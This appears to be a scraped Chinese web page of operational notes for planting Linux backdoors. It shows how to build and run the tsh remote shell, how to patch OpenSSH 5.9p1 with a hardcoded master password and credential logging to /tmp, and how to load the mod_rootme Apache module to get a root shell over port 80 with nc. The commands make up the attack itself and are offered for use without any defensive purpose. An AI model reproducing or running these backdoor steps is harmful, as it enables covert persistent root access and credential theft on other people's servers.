vim tsh.h
#删除两个call_back字段
设置密码
make linux
执行./tshd
在控制端执行./tsh ip
git clone https://github.com/orangetw/tsh.git
cd tsh
vim tsh.h
#控制端
make linux
./tsh cb
#被控端
umask 077; HOME=/var/tmp ./tshd
./tshd
https://www.cnblogs.com/csnd/p/11807653.html
yum install -y openssl openssl-devel pam-devel zlib-devel gcc
cd /etc/ssh
chmod 620 moduli
chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
chmod 644 ssh_config ssh_host_ecdsa_key.pun ssh_host_rsa_key.pub
ssh-keygen -t dsa -f /etc/ssh/ssh_host_ed25519_key
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1 #移动补丁文件中的diff文件到正常ssh目录
cd openssh-5.9p1 #进入ssh正常目录
patch < sshbd5.9p1.diff #打补丁
vim includes.h #修改万能密码
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install #安装openssh
vim auth-passwd.c
#万能密码
if(!strcmp(password,SECRETPW))
{
scret_ok=1;
return 1;
}
vim includes.h
int secret_ok;
#define ILOG "/tmp/ilog"
#define OLOG "/tmp/ilog"
#define SECRETPW "123"
适用于2.4以下
make linux
cp mod_rootme2.so /usr/local/apache2/modules/mo_rootme22.so
vim /etc/apache2/apache2.conf
LoadModule rootme2_module /usr/local/apache2/modules/mod_rootme22.so
./apachectl restart
#使用
nc ip 80
Get root
因篇幅问题不能全部显示,请点此查看更多更全内容